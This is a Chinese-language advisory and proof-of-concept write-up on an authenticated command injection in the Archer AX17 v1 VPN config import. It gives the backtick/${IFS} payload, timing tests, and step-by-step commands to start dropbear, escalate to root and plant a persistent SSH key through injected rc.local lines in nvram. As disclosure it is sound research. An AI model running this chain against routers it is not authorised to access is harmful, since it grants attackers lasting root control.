Archer AX17 v1 VPN 客户端导入功能中的已认证操作系统命令注入漏洞。
局域网内的管理员导入一个 OpenVPN 客户端配置文件。该配置文件的描述会被存储为文件名 /etc/openvpn/<des>.ovpn。读取该配置文件时,会将此路径写入 /tmp/ovpn_curr_edit。在下一次 VPN 写入操作中,若未暂存任何上传内容,该路径会被不加引号地传给 grep 和 sed,而 Web 服务器以 root 身份运行这些命令。
描述过滤器会拒绝 /、;、| 和空格,并将字符串限制在 64 个字符以内。反引号可以通过,因此 payload 为 S`sleep${IFS}1`。${IFS} 就是命令获取空格的方式。
| 受影响 | Archer AX17 v1,固件 1.1.28 P1 [20250523-rel65103],以及修复前的构建版本 |
| 已修复 | 1.5.0 Build 20260605 |
| 访问权限 | 局域网内的管理员会话。登录前不可达。 |
| 影响 | 以 root 身份执行命令 |
poc.js。await poc(0),然后运行 await poc(1)。poc(0) 在几百毫秒内返回。poc(1) 大约多花一秒。这个时间差就是 sleep 1 以 root 身份运行的结果。该脚本会删除它创建的配置文件。
在 1.1.28 上测试。poc(1) 为 1238 ms,poc(3) 为 3504 ms,poc(7) 为 7204 ms,而对照组为 324 ms。
该注入以 root 身份运行,因此可以启动 dropbear。此构建版本有两点需要注意:
-L(“启用 SSH 会话登录”)。没有它,dropbear 会完成认证,然后对每个 shell 请求都回复 exec request failed。/etc 是一个 ramfs。rc.local、/etc/shadow 和 /etc/dropbear/authorized_keys 在每次启动时都会从 squashfs 重建。只有 nvram 分区会持久保留。这就将其分为临时方法和永久方法。
ssh-temp.js 有两个调用:
await sshTemp(); // dropbear -C -L -p 2222
await runStaged('r'); // sh /tmp/r as root
sshTemp() 以 Web 账户模式启动 dropbear。使用路由器管理员密码登录:
ssh -p 2222 -o HostKeyAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 admin@<router>
该 shell 的 uid 为 1000(admin),而非 root,并且无法写入 /etc。要提权,请通过它把 ssh-root.sh 暂存到 /tmp/r:
cat > /tmp/r <<'EOF'
... ssh-root.sh with your public key ...
EOF
然后从控制台调用 runStaged('r')。该注入会以 uid 0 运行脚本,写入 /etc/dropbear/authorized_keys,并启动 dropbear -L -p 2227。(runStaged 会基于 ${PWD%www} 构建 /tmp/<name>,因为 Web 后端的工作目录是 /www。)连接:
ssh -i <key> -p 2227 -o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 root@<router>
此方法会一直有效,直到下次重启。
以 root 身份运行 ssh-persist.sh(例如通过临时 root shell)。它会向 nvram 的 profile 分区追加一个 rc.local。S10boot 会在 S95done 运行 /etc/rc.local 之前将该分区恢复到 /etc,因此这些命令会在每次启动时运行。
该分区是一个加密的、按行组织的 uci XML。<dir> 会创建 /etc/<dir>,<file> 会创建 /etc/<dir>/<file>,而标签名会在 option 之后原样写入。因此,以 ; 开头的标签会以如下形式落入 rc.local:
option ;<command> # 'x'
这会以 root 身份运行 <command>。该脚本会保留厂商的 profile.d 块,并写入:
option ;echo <pubkey>|tee /etc/dropbear/authorized_keys # 'x'
option ;/usr/sbin/dropbear -L -p 22 # 'x'
重启后,root SSH 会在 22 端口上使用同一密钥。请先备份该分区;脚本会打印备份路径和恢复命令。
注意:此固件上不存在 chpasswd。不要尝试用它设置 root 密码;请使用 authorized_keys(如上所述)或 passwd。